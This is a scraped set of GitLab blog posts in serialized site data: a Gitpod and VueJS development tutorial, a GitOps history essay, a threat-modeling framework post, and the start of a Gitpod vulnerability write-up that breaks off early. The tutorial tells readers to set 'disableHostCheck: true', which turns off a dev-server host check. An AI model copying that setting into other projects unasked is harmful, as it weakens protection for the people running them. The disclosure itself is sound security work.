cloud IDE approach. You can learn more in [this Twitter thread](https://twitter.com/sytses/status/1400134840754733059) from [GitLab co-founder and CEO, Sid Sijbrandij](/company/team/#sytses). One approach is [Gitpod](https://gitpod.io/), allowing you to spin a fresh environment in the cloud in seconds.\n\nGitpod uses Visual Studio Code (VS Code) as cloud IDE, and integrates with their marketplace to install the same extensions as you would install locally in VS Code. One of the coolest things about Gitpod is that it not only spins up a fresh environment, but also allows you to install additional software or bring your own workspace container image. That way everyone uses the same pre-provisioned environment, and pair programming and debugging becomes a breeze.\n\nNext time, the same state is booted up, secured by single sign-on.\n\n## First steps with Gitpod\n\nNavigate to [gitpod.io](https://gitpod.io) and choose to `continue with GitLab` as login.\n\nIf you are running a self-managed GitLab setup, ask your administrator to [enable the Gitpod integration](https://docs.gitlab.com/ee/integration/gitpod.html).\n\nLet's start with creating a VueJS application. Fork the [learn-vuejs-gitpod](https://gitlab.com/gitlab-de/playground/learn-vuejs-gitpod) project on GitLab.com.\n\n### Alternative: Start on your CLI\n\nAlternatively to forking the project, install NodeJS, npm and the `vue-cli` package, and run `vue create learn-vuejs-gitpod`. The vue command already initializes and commits based on your local Git configuration. Add the remote origin and push to a new repository on the remote GitLab server.\n\n```shell\n$ brew install node\n$ yarn add @vue/cli\n$ vue create learn-vuejs-gitpod\n\n$ cd learn-vuejs-gitpod\n$ git remote add origin https://gitlab.com/\u003Cyourusername>/learn-vuejs-gitpod.git\n$ git push -u origin main\n```\n\nGitLab will [create a private project from the git push command](https://docs.gitlab.com/ee/user/project/working_with_projects.html#create-a-new-project-with-git-push).\n\n### Start Gitpod\n\nStart Gitpod from the repository overview by selecting the dropdown switch from the Web IDE.\n\n![Gitpod VueJS Start](https://about.gitlab.com/images/blogimages/gitlab-gitpod-teams-development/gitpod_gitlab_start_vuejs.png)\n\nSign into your GitLab account with SSO once asked. Accept the required permissions, and wait until the Gitpod environment is booted up.\n\n![Gitpod VueJS Overview](https://about.gitlab.com/images/blogimages/gitlab-gitpod-teams-development/gitpod_vuejs_overview.png)\n\nChange to the terminal and run yarn to install the dependencies and start the development server. No worries, we'll show you how to automate this in a second!\n\n```shell\nyarn install\nyarn serve\n```\n\nGitpod detects the server listening on port 8080 and offers to make it public. Open the browser instead - it works but says `Invalid host header` because the dev server checks the host name. For running inside Gitpod containers, you need to [disable the host checks](https://github.com/gitpod-io/gitpod/issues/26#issuecomment-554058232).\n\nLet's fix this inside Gitpod in the project. Navigate into the left file tree, and add a new file called `vue.config.js` in the top level.\n\n![Gitpod VueJS Overview](https://about.gitlab.com/images/blogimages/gitlab-gitpod-teams-development/gitpod_vuejs_config_disable_host_checks_devserver.png)\n\nCopy the following code snippet into it\n\n```js\n// vue.config.js\nmodule.exports = {\n    // Rationale: https://github.com/gitpod-io/gitpod/issues/26#issuecomment-554058232\n    devServer: {\n        disableHostCheck: true\n    }\n}\n```\n\nAnd stop the running `yarn serve` command in the terminal by pressing `crtl+c`. Press `cursor up` to select the previous command, or type `!!` to repeat the last command followed by `enter` to start the devserver again. Voilà!\n\n![VueJs running app in Gitpod](https://about.gitlab.com/images/blogimages/gitlab-gitpod-teams-development/gitpod_vuejs_web_app.png)\n\nDon't forget to add and commit the new configuration file to persist the changes. Navigate into the `Source Control` section highlighting one pending change. Enter a commit message, click the check mark and approve all pending changes into the commit.\n\n![Gitpod Source Control](https://about.gitlab.com/images/blogimages/gitlab-gitpod-teams-development/gitpod_source_control_add_vuejs_config.png)\n\nSelect the `...` menu to `push` the Git history. Gitpod will ask you for `repository read/write` permissions, walk through the forms and edit them on Gitpod itself. Navigate back to the Gitpod project interface and re-do the push.\n\nFrom the first success, it is not far to your first customized VueJS application. But wait, there is more to learn about Gitpod and efficient workflows!\n\n### VS Code Extensions\n\nNavigate into the `Extensions` menu and search for `gitlab workflow`. Install the extension. We recommend installing it globally for your account and all future workspaces.\n\n![Gitpod extension: GitLab workflow for VS Code](https://about.gitlab.com/images/blogimages/gitlab-gitpod-teams-development/gitpod_extension_gitlab_workflow.png)\n\nNext, navigate into the new GitLab menu item on the left, and configure the extension. It needs a personal access token, similar to the process with a local VS Code extension configuration. Follow the steps in the [Gitlab documentation to create a personal access token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token).\n\n![Gitpod: GitLab workflow extension config](https://about.gitlab.com/images/blogimages/gitlab-gitpod-teams-development/gitpod_gitlab_workflow_extension_config.png)\n\n## Speed up your own projects\n\nUsing Gitpod and GitLab to develop GitLab makes it easy to contribute, but what about your own DevOps lifecycle and projects? Below are a few more examples to speed up your development with Gitpod and GitLab.\n\nRemember: You can start Gitpod without any configuration, directly from a GitLab repository. If there are additional settings needed, you can develop them while learning from the examples and documentation best practices.\n\n### Hugo Pages website live review\n\nYou can use Hugo with GitLab pages to host your own private blog, for example. Hugo is a static site generator written in Go, with public Docker images already available. The deployment of [everyonecancontribute.com](https://everyonecancontribute.com/) uses the following configuration in the [.gitlab-ci.yml](https://gitlab.com/everyonecancontribute/web/everyonecancontribute.gitlab.io/-/blob/main/.gitlab-ci.yml) configuration:\n\n```yaml\n.publish: &publish\n  image: registry.gitlab.com/pages/hugo:latest\n  script:\n    - hugo\n  artifacts:\n    paths:\n    - public\n\npages:\n  stage: publish\n  \u003C\u003C: *publish\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n      when: always\n  environment:\n    name: $CI_PROJECT_NAME\n    url: https://$CI_PROJECT_NAME/\n```\n\nA local development environment to preview the website needs the Hugo binary installed. Doing the same in the browser, running the Hugo CLI command and previewing the blog post? We've found a way to provision Gitpod in the same way, using [this .gitpod.yml configuration](https://gitlab.com/everyonecancontribute/web/everyonecancontribute.gitlab.io/-/blob/main/.gitpod.yml):\n\n```yaml\nimage: klakegg/hugo:debian\n\nports:\n  - port: 1313\n\ntasks:\n  - command: hugo server -D -b $(gp url 1313) --appendPort=false\n```\n\nThe Hugo container image gets pulled and the Gitpod workspace builder prepares the environment. Note that [Alpine based images do not work](https://github.com/gitpod-io/gitpod/issues/3356#issuecomment-877604994), use Debian variants instead. After starting the workspace, the tasks run the command, and expose a port. The port binding needs to be the external URL of the pod, not localhost. `gp url 1313` builds the exact URL, and binds the socket to the Hugo server, making the pod URL publicly accessible for reviews.\n\n![Gitpod: Hugo website](https://about.gitlab.com/images/blogimages/gitlab-gitpod-teams-development/gitpod_hugo_everyonecancontribute_com.png)\n\nFrom there, you can switch branches in Gitpod, and immediately verify the changes.\n\n### VueJS with custom container image\n\nGetting started with VueJS in a new project with the `vue-cli` package is very convenient and the Gitpod docs have a [guide](https://www.gitpod.io/docs/languages/vue/#vue-cli) ready. The default `gitpod/workspace-full` image does not provide the `vue cli` package. You can extend the container image by using your [custom .gitpod.Dockerfile](https://www.gitpod.io/docs/config-docker#configure-a-custom-dockerfile) - Gitpod takes care of building the image first, and later starts the workspace based on it.\n\n```yaml\nFROM gitpod/workspace-full\n\nRUN yarn add @vue/cli\n```\n\nThe `.gitpod.yml` configuration file needs to be instructed to build and use a custom image. On startup, the `tasks` section runs the initial dependency installation, and starts the development environment with `yarn serve`. The server listens on port 5000 by default, this is what gets [exposed](https://www.gitpod.io/docs/config-ports), and instructed to open as call-to-action in the browser.\n\n\n```yaml\nimage:\n  file: .gitpod.Dockerfile\n\ntasks:\n  - init: yarn install\n    command: yarn serve\n\nports:\n  - port: 5000\n    onOpen: open-browser\n```\n\nYou can combine Gitpod for previewing the website with the production deployment using the [five minute production app deployment template](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template) shown in [this project](https://gitlab.com/gitlab-de/playground/5-min-prod-app-vuejs). GitLab takes care of provisioning a free AWS EC2 instance, TLS certificates and domain handling.\n\n### More Gitpod workspace images\n\nGitpod provides many [ready-to-use workspace images](https://github.com/gitpod-io/workspace-images). In order to use them, create the `.gitpod.yml` file with this content:\n\n```yaml\nimage:\n  file: .gitpod.Dockerfile\n```\n\nCreate a new `.gitpod.Dockerfile` file and add the import from the desired workspace image.\n\n```yaml\nFROM gitpod/workspace-mysql\n```\n\nIf you need to install additional software, note that the full workspace image is based on Debian and therefore you'll need to use the `apt` package manager. The following command updates the package index, and clears the cache after installation to keep the image clean.\n\n```\nRUN sudo apt update && sudo apt install -y PACKAGENAME && sudo rm -rf /var/lib/apt/lists/*\n```\n\nIf you are not sure about the package name, run Docker locally and search for the package name. Fair warning: The `gitpod/workspace-full` image is huge, use the base image `debian:latest` instead.\n\n```shell\n$ docker run -ti debian:latest bash\n$ apt search POSSIBLENAME\n```\n\nYou can learn more  the [workspace image repository](https://github.com/gitpod-io/workspace-images) to learn more about the Dockerfile configuration used by the builder.\n\n## Do more with Gitpod\n\n### Merge request code reviews\n\nThe GitLab workflow extension comes with more super powers:\n\n* Access the project and Merge Requests\n* Check the CI/CD pipeline status directly in Gitpod\n* Perform MR code reviews in Gitpod and take advantage of [VS Code workflows](/blog/mr-reviews-with-vs-code/)\n\n![Gitpod: MR Code Reviews with the GitLab Workflow extension website](https://about.gitlab.com/images/blogimages/gitlab-gitpod-teams-development/gitpod_vs_code_gitlab_workflow_extension_mr_code_reviews.png)\n\n### Pre-install VS Code Extensions\n\nIn order to ensure specific [VS Code extensions](https://www.gitpod.io/docs/vscode-extensions/) are installed, you can define them in the `.gitpod.yml` configuration file in the repository. Example from the [GitLab project](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitpod.yml#L79):\n\n```yaml\nvscode:\n  extensions:\n    - rebornix.ruby@0.28.0\n    - wingrunr21.vscode-ruby@0.27.0\n    - karunamurti.haml@1.3.1\n    - octref.vetur@0.34.1\n    - dbaeumer.vscode-eslint@2.1.8\n    - gitlab.gitlab-workflow@3.24.0\n```\n\n### Learn new programming languages: Rust\n\nGitpod allows you to start a fresh pod environment, pause on idle, and continue at a later point. The default workspace environment image already includes the [Rust compiler](https://www.gitpod.io/docs/languages/rust), which means that you can immediately [start learning Rust](https://doc.rust-lang.org/rust-by-example/).\n\nCreate a new project called `learn-rust` and open Gitpod from the repository view. Add a new file on the left tree view called `hello.rs` and add the following content:\n\n```rust\nfn main() {\n\tprintln!(\"Hello from GitLab! 🦊\");\n}\n```\n\nChange into the terminal and run the following command:\n\n```shell\n$ rustc hello.rs\n```\n\nWe started learning Rust together in an [#EveryoneCanContribute cafe](https://everyonecancontribute.com/post/2020-10-07-cafe-3-gitpod-gitlab-rust/) in October 2020 including [workshop slides with exercises](https://docs.google.com/presentation/d/1t1FdHh04TAOg9WITqRFJHz1YFxMbsQeekN8th1UfFcI/edit). We continued with [Rocket.rs](https://everyonecancontribute.com/post/2021-06-30-cafe-36-rust-rocket-prometheus/) as web app and additional Prometheus monitoring metrics in June 2021. You can watch the recordings to follow the learning process, the mistakes we made on the way, and the first success.\n\n### How to contribute to GitLab with Gitpod\n\nA more complex development environment is GitLab itself. The [architecture](https://docs.gitlab.com/ee/development/architecture.html) involves many different components, and the development environment requires you to install several dependencies in Ruby, NodeJS, Go, and backend applications. The GitLab Development Kit (GDK) describes the steps in detail - in order to get everything up and running, you need to plan for a 30 minutes to three hour process, depending on the compute power and bandwidth.\n\nEarly in the process of adopting Gitpod for GitLab team members, the groundwork with the base image and bootstrap script took the majority of the preparation time. You can learn more about the integration process in [this issue request](https://gitlab.com/gitlab-org/gitlab-development-kit/-/issues/1076).\n\n> It's already possible to try out how the setup works by opening Gitpod, which after waiting for the setup to finish (six to eight minutes) will bring you the Gitpod UI with the GDK fully running and ready for you to make changes and commit. As soon as that setup is finished, you can switch to whatever branch you want, either from the Gitpod UI or via the terminal.\n\nThe [GDK documentation for Gitpod](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/gitpod.md) guides you through the required steps. **Important**: You need to start Gitpod from the [gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab/) project (as team member, as contributor, please fork the repository). Additional features, such as a local GitLab runner, feature flags, Advanced search, etc., must be [enabled manually](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/gitpod.md#configure-additional-features).\n\n![GitLab Development Kit running in Gitpod](https://about.gitlab.com/images/blogimages/gitlab-gitpod-teams-development/gitpod_gitlab_gdk_running.png)\n\n### Everyone can contribute\n\nReady? Start contributing to your favorite OSS project, and connect with your teams for an all-remote pair programming session using Gitpod! :-)\n\nCover image by [Thomas Lipke](https://unsplash.com/photos/oIuDXlOJSiE) on [Unsplash](https://unsplash.com)\n{: .note}\n",[232,2368,1444],{"slug":17995,"featured":6,"template":678},"teams-gitpod-integration-gitlab-speed-up-development","content:en-us:blog:teams-gitpod-integration-gitlab-speed-up-development.yml","Teams Gitpod Integration Gitlab Speed Up Development","en-us/blog/teams-gitpod-integration-gitlab-speed-up-development.yml","en-us/blog/teams-gitpod-integration-gitlab-speed-up-development",{"_path":18001,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18002,"content":18008,"config":18013,"_id":18015,"_type":16,"title":18016,"_source":17,"_file":18017,"_stem":18018,"_extension":20},"/en-us/blog/gitops-as-the-evolution-of-operations",{"title":18003,"description":18004,"ogTitle":18003,"ogDescription":18004,"noIndex":6,"ogImage":18005,"ogUrl":18006,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18006,"schema":18007},"GitOps viewed as part of the Ops evolution","Examine the evolution that led to GitOps","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682062/Blog/Hero%20Images/food-train.jpg","https://about.gitlab.com/blog/gitops-as-the-evolution-of-operations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitOps viewed as part of the Ops evolution\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2021-07-12\",\n      }",{"title":18003,"description":18004,"authors":18009,"heroImage":18005,"date":18010,"body":18011,"category":734,"tags":18012},[2544],"2021-07-12","\n\nGitOps is a hot topic in the world of operations, but what does it provide to workflows that we didn’t have already? Looking at the evolution of the operations space, there have been many big changes in the past 20 years, and I argue that [GitOps](/topics/gitops/) is not a change, rather a summary of best practices. So, how do we describe the major phenomenon in Ops over the past 20 years? \n \nBefore 2000, the primary approach to operations was to hire a System Administrator or empower Lead Developers to do Ops work. System Administrators knew a lot about networking and server optimisations, and a good sysadmin can do most of their work through code, using Bash, Perl or Python scripts. While every software engineer likely knows at least the basics of shell scripting, even many backend engineers would not be comfortable with the level of bash scripting needed in traditional IT. \n \nBesides bash, there were situations where the infrastructure was managed through graphical user interfaces. Most enterprise IT software shipped with some level of graphical UI. This area was particularly alien to software developers. I first worked as a system administrator at a student house in Hungary. We used Novell tools to manage our network, create backups, and set up workstations. To be successful, I had to learn a lot about the tools and the domain, while my programming skills were pretty minimal.\n \nToday, a cloud-native \"system administrator\" does their job primarily through API calls. The APIs are triggered through some infrastructure as code approaches. Thus, even the sysadmins of today require much more advanced coding skills than they needed 20 years ago. Moreover, codefying your infrastructure enables battle-tested software development best practices, like testing, be introduced in operations, too. \n\nThis is a huge change compared to where we were 20 years ago. What has changed that got us to where we are now and how does it relate to GitOps?\n\n## The story\n \n\u003Ciframe src='https://cdn.knightlab.com/libs/timeline3/latest/embed/index.html?source=1_ZqRL3FjiRWlwW0Nx6imkrDcCbQtiFV4tJvR1JLiy3s&font=Default&lang=en&initial_zoom=2&height=650' width='100%' height='650' webkitallowfullscreen mozallowfullscreen allowfullscreen frameborder='0'>\u003C/iframe>\n \n### The first signals at Google\n\nThe System Administrator era is the initial period where our story starts. As we move forward, the first milestone is in 2003. For our story, two notable events happened during 2003. First, [Google presented Borg](https://research.google/pubs/pub43438/), their internal container management system that later became [Kubernetes](/blog/gitlab-kubernetes-agent-on-gitlab-com/). Second, Google hired Benjamin Treynor, and the SRE approach started with his collaboration. Let's stop here for a minute to speak about the core aspects of the SRE approach!\n\n[Site Reliability Engineering (SRE)](https://sre.google/) is a software engineering approach to IT operations. Software engineers write software to reach a goal, there is likely a process around delivering the software that includes code reviews and tests, and there are success metrics attached to the delivered output. These success metrics in the context of SRE are called Service Level Indicators, and there are related Service Level Objectives and Service Level Agreements. By applying software engineering practices to operations, the reliability and scalability of the system can be better understood and improved. Moreover, the automations that emerge from the approach enable the development teams to be more efficient as they can often self-serve their requirements.\n \n### The public cloud\n\nLet’s continue our story. For many companies around the world, an important development was Amazon Web Services (AWS). AWS launched in 2006 with 3 services: S3, SQS and EC2. Together, these services enabled companies to switch to AWS or to start their business on [AWS infrastructure](/blog/deploy-aws/). Amazon's market share has made it the leading cloud provider today, and their name is coupled tight with public clouds. As increasing workloads migrated to the cloud, the way of operations had to adapt. \n \nIn past years, I've run many interviews with IT operations professionals and asked them about their [infrastructure as code (IaC) practices](/topics/gitops/infrastructure-as-code/). From these interviews, a very strong pattern emerged around IaC adoption. Companies usually switch to IaC as they move their infrastructure to the cloud. Simply, managing dozens of cloud services through a UI is very problematic, and managing them through a single codebase is much more convenient. Together with the move to the cloud, there is a strong push to improve operations practices, and move towards more automated approaches.\n \n### The appearance of DevOps\n\nWhile the struggles of software delivery were well-known by 2009, the SRE approach pioneered at Google was not as widely adopted. As agile started to be formalized in 2000, it seemed that we found a solution to the problem of delivering the built services in front of the user becoming more and more stringent. As a result of many discussions around this topic, Patric Debois coined the term DevOps in 2009. \n \n> DevOps describes the cultural changes required in order to enable high-quality service delivery. The core idea of DevOps is to create a well-oiled process around service delivery by setting shared goals and clear ownerships. The many approaches to DevOps are highlighted by [the 9 types presented as DevOps team topologies](https://web.devopstopologies.com/).\n \nJust like many agile techniques existed before agile was formalized, the SRE approach existed before the term DevOps came to be, and it can be considered an implementation of DevOps. There are just as many agile techniques as there are ways to implement DevOps. \n \n### Containers to drive the process\n\nIn 2013, several developments were made. O'Reilly published the first book on DevOps, and the operations space got a new tool - docker - which led the way to containerisation and changed our industry tremendously. Containerisation provides a standard way to ship software. Previously, engineers could build a Debian package or a Java jar file. Basically, every technology had its own packaging solution, and there are _many_ technologies. Containers provide a single, standard way to package an application, enabling both developers to own what happens inside the container and infrastructure teams to support developers to ship containers reliably and quickly into production.\n \nThe idea of containerisation solves another problem, that of stale resources. For a long time, operations had to start different servers for various workloads, dependencies of workloads had to be taken care of, and that led to stale servers and huge inefficiencies, but we did not have a good model around orchestrating the workloads. Apache Mesos was presented in 2009 and Docker Swarm in 2014, indicating innovation in this space. In 2014, Kubernetes was presented as the open source version of Google's Borg system, and it quickly became the leading solution in this area. When released, it already supported docker containers, provided declarative infrastructure management through the Kube API, and came with a reconciliation loop at its core. Basically, the end user describes the expected state and sends it to the system, and Kubernetes tries to reach and maintain that state. Using an API for cloud operations was not new any more, still describing what we want to see, instead of imperatively commanding the system to take specific actions is a novel approach. Moreover, this enables the system to self-heal, as it can always aim at reaching the desired state. Beside better resource utilisation, these are the core values of container orchestrators.\n\n### The summary is GitOps\n\nOur story slowly gets to its end in 2017 when the GitOps term was coined. GitOps provides a summary of what we had already without adding anything new to the picture. Even though the summary was known, this workflow did not have a name yet. The cultural changes required for modern IT operations are described by DevOps and shown in the SRE approach. Automation has been with us since the advent of continuous integration, and new tools like AWS, containers, and Kubernetes enabled it in operations too. Finally, Kubernetes provides a way for the system to take care of itself (more or less), and provides a self-healing aspect of automation. As Gene Kim wrote in the _Phoenix Project_, “The Second Way is about creating the right to left feedback loops”. Coupling this with storing all the code that describes our system in a versioned manner, applying them automatically through a well-defined process, and finally using a self-healing system is what we call GitOps. \n\n## What does it mean to you\n \nAt GitLab, our [vision](https://about.gitlab.com/direction/#vision) is to provide a single application for the whole DevSecOps lifecycle. As part of this, GitLab offers one of the leading CI automation tools, and our dedicated [Infrastructure as Code](https://docs.gitlab.com/ee/user/infrastructure) and [Kubernetes Management](https://docs.gitlab.com/ee/user/project/clusters/) enable best practice operations for modern ops teams. We understand that many services are run in legacy infrastructures, where automation is very problematic, and some companies do not have the resources or need to move to Kubernetes. As shown above, the canonical definition of GitOps is not feasible in these situations. Thankfully, the value of GitOps is minor compared to the value of a strong DevOps culture combined with the automation enabled by the target systems.\n \nAs a result, I encourage everyone to approach GitOps by understanding their current level of DevOps practices as GitOps will emerge naturally from following well-known practices in the DevOps area.\n \nCover image by [Sigmund](https://unsplash.com/@sigmund?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/evolution?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n\n## Read more on GitOps with GitLab: \n\n- [GitOps with GitLab: Infrastructure provisioning with GitLab and Terraform](/blog/gitops-with-gitlab-infrastructure-provisioning/)\n\n- [Here's how to do GitOps with GitLab](/blog/gitops-with-gitlab/)\n\n- [How to use a push-based approach for GitOps with GitLab scripting and variables](/blog/how-to-agentless-gitops-vars/)\n\n- [GitOps with GitLab: Connect with a Kubernetes cluster](/blog/gitops-with-gitlab-connecting-the-cluster/)\n\n",[4103,534],{"slug":18014,"featured":6,"template":678},"gitops-as-the-evolution-of-operations","content:en-us:blog:gitops-as-the-evolution-of-operations.yml","Gitops As The Evolution Of Operations","en-us/blog/gitops-as-the-evolution-of-operations.yml","en-us/blog/gitops-as-the-evolution-of-operations",{"_path":18020,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18021,"content":18027,"config":18032,"_id":18034,"_type":16,"title":18035,"_source":17,"_file":18036,"_stem":18037,"_extension":20},"/en-us/blog/creating-a-threat-model-that-works-for-gitlab",{"title":18022,"description":18023,"ogTitle":18022,"ogDescription":18023,"noIndex":6,"ogImage":18024,"ogUrl":18025,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18025,"schema":18026},"How we’re creating a threat model framework that works for GitLab","As usual, we’re creating our own path in how we handle our threat modeling, approaching development both iteratively and collaboratively, and seriously shifting left with our framework and processes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682058/Blog/Hero%20Images/pexels-nathan-j-hilton.jpg","https://about.gitlab.com/blog/creating-a-threat-model-that-works-for-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we’re creating a threat model framework that works for GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2021-07-09\",\n      }",{"title":18022,"description":18023,"authors":18028,"heroImage":18024,"date":18029,"body":18030,"category":674,"tags":18031},[5362],"2021-07-09","\n\nThis is the first in a series of three blog posts where we discuss [threat modeling](/handbook/security/threat_modeling/) and how we’re [using it at GitLab](/handbook/security/threat_modeling/howto.html) to help secure our product, our company, and most importantly our customer’s data. As usual, [we’re doing things a bit differently](https://gitlab.com/gitlab-com/gl-security/security-research/threat-modeling-template), but when you hear why it will make a lot of sense.\n\n## Threat modeling\n\nLet’s start with the basics, what is threat modeling?\n\nThreat modeling is the process of risk assessment for a particular project, asset, procedure, or product. While it can apply to nearly any established or new procedure, it seems to most often get applied to software. For GitLab, this would mainly apply to our source code.\n\nAs assessing risk has historically been the domain of the security department of most organizations, the threat modeling process has been nearly exclusively handled by the [security department](/handbook/security/#security-department) here at GitLab. This does make a lot of sense on many levels, and many threat modeling scenarios are exclusively managed by those within the security department.\n\n## How does it work? In theory and in practice?\n\nThe general process of developing a threat model does vary, but it typically breaks down as follows:\n\n* Scope out what is to be included in the threat model process.\n* Define the potential attackers or situations that could create a security problem.\n* Assess the associated risks with the process or procedure.\n* Fix all the problems identified.\n\nThis sounds fine, but there are a few things that cause problems for a lot of organizations, especially bleeding edge companies that push boundaries. Here are a few:\n* In spite of the attempts to “shift left” it is often that most security departments look at the new code or new project towards the end of the project. In lucky cases, they are involved in the middle; but ideally they should be included in the beginning phases.\n* In large organizations with many projects, there are not enough security team members to handle the workload; especially in a shop that is constantly developing and releasing code. Depending on the project, it could take hours to simply get a security team member up to speed, assuming everyone had the free time to spend doing so. Basically, it doesn’t scale as there are simply not enough personnel to get all of the work done.\n* The models used for this are extremely thorough but also extremely complex. They can involve intricate diagrams, require input from multiple parties that may not fully understand what the other parties are doing, and use language to describe their layered steps that can be confusing and, well, quite boring.\n* No one, and I mean **no one** seems to enjoy creating a threat model.\n\n## Finding a framework we could adapt\n\nFirst off, we had to decide on a few things up front. We wanted to come up with some type of framework that allowed us to easily adopt a threat modeling process into our existing processes. Our existing processes work quite well, and we knew that if we were going to introduce something into that process, it would have to be simple.\n\nWe had to address all of the concerns that we had identified as a part of the overall threat model process and either reduce their impact or eliminate them entirely. **The threat modeling had to scale and fit into the existing development processes, not the other way around.**\n\nAsking a group of developers to learn some new process such as the process of creating elaborate diagrams that define data classification, authentication zones, permissions, and many other detailed items just didn’t make any sense. Sure, you can get a sense of part of the information being modeled, but does one have to learn some complex diagramming software package in the process?\n\nGitLab is 100% remote and 100% spread out all over the planet, and we manage to work asynchronously. Whatever process for threat modeling we were going to use was going to require the ability to work asynchronously while doing it.\n\nAfter choosing our general framework, we had to strip it down and make it fit with our existing processes, develop a “plan” on how to use it, test it, and then introduce it into the usual steps. This took a bit of time, but we came up with something.\n\n## PASTA as a base\nWe use the [PASTA](https://www.wiley.com/en-us/Risk+Centric+Threat+Modeling%3A+Process+for+Attack+Simulation+and+Threat+Analysis-p-9780470500965#) framework as a base, and with all of the adjustments we’ve made to fit GitLab’s unique environment and processes, we are already seeing positive results from our own framework. Here are some of the features:\n* It is easy to understand.\n* It scales.\n* It enhances DevSecOps with minimal overhead.\n* It is based off of an existing framework with an established track record.\n* It works nicely with existing processes within our Security department.\n* It doesn’t just apply to coding projects; it can apply to any project, including those in Infrastructure, Marketing, Sales, and other departments.\n\nThe advantages of our adoption and modification of the PASTA framework allows us to have a common language with those outside of the weird security world, and other departments within GitLab can also understand it. This well-known framework even allows us to have discussions with partners, customers, and contributors about security and risk and threat and not worry about whether they’ll be able to understand us.\n\nBut the biggest change we’ve made is not “how” but “where” and “who.” While our Security team owns the framework, we don’t “run” it. It is run by the people who are running the project. *Let me explain...*\n\nLet’s say we have a department in Engineering that is getting ready to start a new or existing project. They have a list of steps they need to run by the Security team as a part of the procedure they would normally follow. One of those steps is for that Engineering department to perform their *own* threat model. We’re available for questions, but as they know the project far better than we do, they come up with a really good model. The idea is that they will uncover a few gotchas and will fix problems either before or during the coding process. And they do!\n\nThe main tool we have available for this is a [threat modeling process that includes a template](/handbook/security/security-engineering/application-security/runbooks/threat-modeling.html), and they use this to create a markdown file (something everyone at GitLab does all the time) to record the basic steps taken during threat modeling. This way when it is time for the Security team review, which is usually near the end of the project, we can review what they’ve done. Of course there are going to be times when we will still send things back for a fix, but the vast majority of everything is already corrected!\n\nWe not only get through the threat modeling process, but the code being developed is more secure, the time to complete this added process is minimal, and it scales. It is **efficient**. It is **effective**. It is the [best kind of boring](https://handbook.gitlab.com/handbook/values/#boring-solutions).\n\n## What's next\nIn the next blog post in this series, we will take a deeper dive into the framework, including how in some cases we can use a “subset” of a full PASTA framework, and how we reached some of the decisions on our “modifications.”\n\nPhoto by [Nathan J Hilton](https://www.pexels.com/@radmondo?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/steel-frame-building-in-modern-style-5261943/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n\n{: .note}\n",[674,676,2952],{"slug":18033,"featured":6,"template":678},"creating-a-threat-model-that-works-for-gitlab","content:en-us:blog:creating-a-threat-model-that-works-for-gitlab.yml","Creating A Threat Model That Works For Gitlab","en-us/blog/creating-a-threat-model-that-works-for-gitlab.yml","en-us/blog/creating-a-threat-model-that-works-for-gitlab",{"_path":18039,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18040,"content":18045,"config":18050,"_id":18052,"_type":16,"title":18053,"_source":17,"_file":18054,"_stem":18055,"_extension":20},"/en-us/blog/two-bugs-and-a-quick-fix-in-gitpod",{"title":18041,"description":18042,"ogTitle":18041,"ogDescription":18042,"noIndex":6,"ogImage":11237,"ogUrl":18043,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18043,"schema":18044},"A brief look at Gitpod, two bugs, and a quick fix","Our security researcher takes a look at Gitpod and finds some access tokens under the carpet.","https://about.gitlab.com/blog/two-bugs-and-a-quick-fix-in-gitpod","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A brief look at Gitpod, two bugs, and a quick fix\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2021-07-08\",\n      }",{"title":18041,"description":18042,"authors":18046,"heroImage":11237,"date":18047,"body":18048,"category":674,"tags":18049},[11242],"2021-07-08","\n\nWhile looking at GitLab's [Gitpod integration](https://docs.gitlab.com/ee/integration/gitpod.html), I came across two rather critical flaws in Gitpod itself. In this post, I'll cover the process of identifying the vulnerabilities and some background on Gitpod. The more critical issue was fixed and the fix was pushed to production by the Gitpod team in less than five hours from my initial report. Huge kudos to the Gitpod team for that quick turnaround.\n\n## What is Gitpod? \n\nFirst, let's see what Gitpod actually is -- taken straight from [gitpod.io](https://gitpod.io):\n\n> Spin up fresh, automated dev environments for each task, in the cloud, in seconds.\n\nThat quote sums it up really well. You can login to Gitpod with your GitLab, GitHub, or Bitbucket account and then use a pretty full-blown, web-based development environment to work on your code, run tests, or even spin up services and expose them from your Gitpod instance to the internet.\n\n## Gitpod vulnerability #1: cross-origin WebSocket access\n### Authentication process\n\nWhen logging into Gitpod via GitLab, we need to grant Gitpod the GitLab OAuth scopes `read_user` and `api`. The `api` scope is needed to give Gitpod access to GitLab private repositories and push Git commits on behalf of the user.\n\n![Gitpod OAuth scopes](https://about.gitlab.com/images/blogimages/gitpod-oauth-scopes.png){: .shadow.medium.center}\nGitpod authorization scope.\n{: .note.text-center}\n\n\nThe fact that Gitpod holds an OAuth token with full API access to all three major Git hosting platforms sparked my interest, as 